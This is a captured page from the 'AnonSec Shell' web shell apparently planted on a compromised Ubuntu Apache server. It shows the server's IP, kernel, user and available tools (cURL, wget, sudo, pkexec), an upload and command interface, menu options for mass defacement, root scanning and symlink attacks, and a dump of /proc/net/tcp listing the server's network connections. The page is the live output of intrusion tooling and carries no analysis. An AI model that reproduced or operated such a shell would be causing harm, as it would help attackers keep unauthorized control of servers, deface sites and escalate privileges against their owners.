AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.167   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/10173/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/10173/net//tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   112        0 6530575 1 0000000000000000 100 0 0 10 0                   
   1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 15565 1 0000000000000000 100 0 0 10 0                     
   2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19595 22 0000000000000000 100 0 0 10 0                    
   3: F89A16A5:B0BE AA6284D4:01BB 01 00000000:00000000 00:00000000 00000000    33        0 72305166 1 0000000000000000 52 4 30 2 2                   
   4: F89A16A5:0016 BC2A5C5B:6D3C 03 00000000:00000000 01:0000002E 00000002     0        0 0 0 0000000000000000                                      
   5: F89A16A5:0016 672A5C5B:EFEE 03 00000000:00000000 01:00000401 00000004     0        0 0 0 0000000000000000                                      
   6: F89A16A5:0016 5F2A5C5B:7667 03 00000000:00000000 01:000003C1 00000005     0        0 0 0 0000000000000000                                      
   7: F89A16A5:0016 5C2A5C5B:EC90 03 00000000:00000000 01:00000474 00000005     0        0 0 0 0000000000000000                                      
   8: F89A16A5:0016 C42A5C5B:2D26 03 00000000:00000000 01:0000090E 00000005     0        0 0 0 0000000000000000                                      
   9: F89A16A5:0016 982A5C5B:7ABE 03 00000000:00000000 01:00000BC1 00000005     0        0 0 0 0000000000000000                                      
  10: F89A16A5:0016 442A5C5B:E64A 03 00000000:00000000 01:0000002E 00000003     0        0 0 0 0000000000000000                                      
  11: F89A16A5:0016 E42A5C5B:26CC 03 00000000:00000000 01:0000002C 00000000     0        0 0 0 0000000000000000                                      
  12: F89A16A5:0016 A02A5C5B:1B61 03 00000000:00000000 01:000002C8 00000003     0        0 0 0 0000000000000000                                      
  13: F89A16A5:0016 302A5C5B:2997 03 00000000:00000000 01:000001C1 00000005     0        0 0 0 0000000000000000                                      
  14: F89A16A5:0016 702A5C5B:F32A 03 00000000:00000000 01:0000010E 00000005     0        0 0 0 0000000000000000                                      
  15: F89A16A5:0016 A22A5C5B:5CC3 03 00000000:00000000 01:000000AE 00000003     0        0 0 0 0000000000000000                                      
  16: F89A16A5:0016 7E2A5C5B:942B 03 00000000:00000000 01:000001B4 00000004     0        0 0 0 0000000000000000                                      
  17: F89A16A5:0016 812A5C5B:DD96 03 00000000:00000000 01:00000641 00000005     0        0 0 0 0000000000000000                                      
  18: F89A16A5:0016 7D2A5C5B:52AD 03 00000000:00000000 01:00000079 00000001     0        0 0 0 0000000000000000                                      
  19: F89A16A5:0016 C12A5C5B:23A4 03 00000000:00000000 01:000001CE 00000004     0        0 0 0 0000000000000000                                      
  20: F89A16A5:0016 9D2A5C5B:96A7 03 00000000:00000000 01:00000641 00000005     0        0 0 0 0000000000000000                                      
  21: F89A16A5:0016 802A5C5B:B48E 03 00000000:00000000 01:00000434 00000004     0        0 0 0 0000000000000000                                      
  22: F89A16A5:0016 412A5C5B:C1B6 03 00000000:00000000 01:00000941 00000005     0        0 0 0 0000000000000000                                      
  23: F89A16A5:0016 6B10888D:71B6 03 00000000:00000000 01:00000AC1 00000005     0        0 0 0 0000000000000000                                      
  24: F89A16A5:0016 702A5C5B:3B1D 03 00000000:00000000 01:00000B8E 00000005     0        0 0 0 0000000000000000                                      

Anon7 - 2022
AnonSec Team